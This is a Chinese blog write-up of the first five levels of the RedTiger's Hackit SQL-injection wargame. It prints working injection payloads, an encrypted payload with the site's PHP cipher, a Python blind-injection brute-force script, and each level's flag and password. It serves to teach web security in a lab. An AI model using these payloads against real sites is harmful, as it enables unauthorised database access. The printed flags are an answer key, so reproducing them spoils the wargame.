writeup--RedTiger's Hackit

RedTiger’s Hackit

第一关

首先点进Category 1
网址后面跟了?cat=1,很明显是一个sql注入
看了下还给了表名。。Tablename: level1_users
构造了下
https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users

得到密码thatwaseasy

flag是27cbddc803ecde822d87a7e8639f9315

第二关

看见有登录框,应该也是sql注入
用万能用户密码’or ”=’试了下,成功注入

flag是1222e2d4ad5da677efb188550528bfaa

第三关

看到提示Get an error。。。弄了半天弄不出error,看了下别人的wp,改成?usr[1]=1得到error信息,
Warning: preg_match() expects parameter 2 to be string, array given in /var/www/html/hackit/urlcrypt.inc on line 25

然后看了下urlcrypt.inc,有下面的代码,看来cow和admin后面的一大串都是加密过的,既然给了加密和解密的函数,直接写sql注入然后加密再传过去就可以了,话说它的加密方式还更新过。。这个如果要用的话要在linux下面加密,在windows下可能会乱码

<?php

    // warning! ugly code ahead :)

    function encrypt($str)
    {
        $cryptedstr = "";
        srand(3284724);
        for ($i =0; $i < strlen($str); $i++)
        {
            $temp = ord(substr($str,$i,1)) ^ rand(0, 255);

            while(strlen($temp)<3)
            {
                $temp = "0".$temp;
            }
            $cryptedstr .= $temp. "";
        }
        return base64_encode($cryptedstr);
    }

    function decrypt ($str)
    {
        srand(3284724);
        if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))
        {
            $str = base64_decode($str);
            if ($str != "" && $str != null && $str != false)
            {
                $decStr = "";

                for ($i=0; $i < strlen($str); $i+=3)
                {
                    $array[$i/3] = substr($str,$i,3);
                }

                foreach($array as $s)
                {
                    $a = $s ^ rand(0, 255);
                    $decStr .= chr($a);
                }

                return $decStr;
            }
            return false;
        }
        return false;
    }
?>

构造的明文为’ union select 1,password,2,3,4,5,6 from level3_users where username=’Admin
加密后得到
https://redtiger.labs.overthewire.org/level3.php?usr=MDc2MTUxMDIyMTc3MTM5MjMwMTQ1MDI0MjA5MTAwMTc3MTUzMDc0MTg3MDk1MDg0MjQzMDE3MjUyMDI1MTI2MTU2MTc2MTMzMDAwMjQ2MTU2MjA4MTgyMDk2MTI5MjIwMDQ5MDUyMjMwMTk4MTk2MTg5MTEzMDQxMjQwMTQ0MDM2MTQwMTY5MTcyMDgzMjQ0MDg3MTQxMTE1MDY2MTUzMjE0MDk1MDM4MTgxMTY1MDQ3MTE4MDg2MTQwMDM0MDg1MTE4MTE4MDk5MjIyMjE4MDEwMTkwMjIwMDcxMDQwMjIw

拿到flag:a707b245a60d570d25a0449c2a516eca

第四关

点了下click me,发现多了?id=1 很明显是可以注入,看了下主页的标题是盲注。。
先猜keyword有多长
http://redtiger.labs.overthewire.org/level4.php?id=1%20and%200%3C(select%20count(*)%20from%20level4_secret%20where%20length(keyword)=21)
发现长度为21,那写个python脚本来爆破一下

from urllib.request import *
import string
from re import *
char=string.printable
url="http://redtiger.labs.overthewire.org/level4.php?id=1%20and%201=(select%20count(*)%20from%20level4_secret%20where%20SUBSTR(keyword,{0},1)='{1}')"
login ={'Cookie':'level4login=there_is_no_bug'}
answer=""
for q in range(1,22):
    for i in char:
        test=(url .format(q,i))
        request=Request(test,None,headers=login)
        a=urlopen(request)
        s=a.read().decode()
        if(findall("Query returned 1 rows.",s)):
            print("{0}  ".format(q)+i)
            answer+=i
            break
print(answer)

得到keyword为 killstickswithbr1cks!

flag: e8bcb79c389f5e295bac81fda9fd7cfa

第五关

看到描述watch the login errors
然后输admin进去试下,然后输入框消失了,看来是过滤了admin
然后发现它也无视大小写,那直接用十六进制来绕过吧
根据提示密码要md5加密
构造出
’ union select 0x61646d696e as username, md5(123) as password #

flag为ca5c3c4f0bc85af1392aef35fc1d09b3

未完待续

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
OSCP 2023 Challenge Writeup-MedTech-CSDN博客是一个关于OSCP挑战赛的技术解析博客。在这篇博客中,作者详细讲解了一个名为MedTech的挑战项目,并提供了解决该挑战所需的步骤和工具。 这篇博客的开头介绍了OSCP证书的重要性和它在信息安全领域的认可度。接着,作者向读者介绍了挑战项目MedTech的背景和目标。MedTech是一个模拟医疗技术公司的网络环境,参与者需要在该环境中寻找漏洞、获取权限,最终控制主机,获取FLAG。 在解决这个挑战的过程中,作者详细介绍了使用的工具和技术。例如,他讲解了利用漏洞扫描工具Nmap进行主机发现和服务探测的步骤,以及如何使用Metasploit框架进行漏洞利用和提权。 博客中还涵盖了其他一些有关网络渗透测试的技术,如枚举、社会工程学和Web应用程序漏洞利用。作者详细解释了每个技术的原理和实际应用。 在解决MedTech挑战的过程中,作者还分享了一些遇到的困难和技巧。他提到了一些常见的错误和陷阱,并分享了如何避免它们的经验。 最后,作者总结了整个挑战的过程,并分享了他在完成挑战时的成就感和收获。他强调了在这个过程中学到的技能和知识的重要性,并鼓励读者积极参与类似的挑战和项目。 这篇博客不仅提供了对OSCP挑战赛的深入了解,而且为读者提供了解决类似问题的思路和方法。它对于那些对信息安全和网络渗透感兴趣的读者来说是一个很有价值的参考资源。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值